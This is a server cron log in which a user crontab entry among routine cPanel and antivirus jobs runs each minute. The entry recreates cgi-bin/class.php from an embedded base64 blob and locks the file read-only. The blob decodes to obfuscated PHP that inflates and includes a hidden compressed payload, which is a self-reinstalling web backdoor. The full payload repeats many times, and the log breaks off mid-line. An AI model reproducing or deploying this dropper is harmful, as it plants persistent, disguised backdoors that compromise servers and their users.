Sep  6 23:59:01 server CROND[9658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:59:01 server CROND[9660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:59:01 server CROND[9659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:00:01 server CROND[10179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:00:01 server CROND[10181]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  7 00:00:01 server CROND[10184]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:00:01 server CROND[10201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:00:01 server CROND[10199]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 00:00:01 server CROND[10198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:00:01 server CROND[10205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:00:01 server CROND[10197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:00:01 server CROND[10196]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 00:00:01 server CROND[10200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:00:01 server CROND[10195]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:01:01 server CROND[11198]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 00:01:01 server CROND[11197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:01:01 server CROND[11199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:01:01 server CROND[11201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:01:01 server run-parts(/etc/cron.hourly)[11198]: starting 0anacron
Sep  7 00:01:01 server anacron[11221]: Anacron started on 2026-09-07
Sep  7 00:01:01 server run-parts(/etc/cron.hourly)[11223]: finished 0anacron
Sep  7 00:01:01 server anacron[11221]: Normal exit (0 jobs run)
Sep  7 00:02:01 server CROND[11587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:02:01 server CROND[11588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:02:01 server CROND[11589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:03:01 server CROND[11958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:03:01 server CROND[11960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:03:01 server CROND[11961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:04:02 server CROND[12343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:04:02 server CROND[12344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:04:02 server CROND[12345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:05:01 server CROND[12804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:05:01 server CROND[12807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:05:01 server CROND[12813]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:05:01 server CROND[12814]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 00:05:01 server CROND[12818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:05:01 server CROND[12815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:05:01 server CROND[12812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:05:01 server CROND[12816]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:06:01 server CROND[13757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:06:01 server CROND[13758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:06:01 server CROND[13759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:07:01 server CROND[14223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:07:01 server CROND[14224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:07:01 server CROND[14225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:08:01 server CROND[14588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:08:01 server CROND[14589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:08:01 server CROND[14591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:09:01 server CROND[14969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:09:01 server CROND[14971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:09:01 server CROND[14970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:09:01 server CROND[14972]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 00:10:01 server CROND[15353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:10:01 server CROND[15355]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:10:01 server CROND[15357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:10:01 server CROND[15356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:10:01 server CROND[15360]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:10:01 server CROND[15359]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:10:01 server CROND[15358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 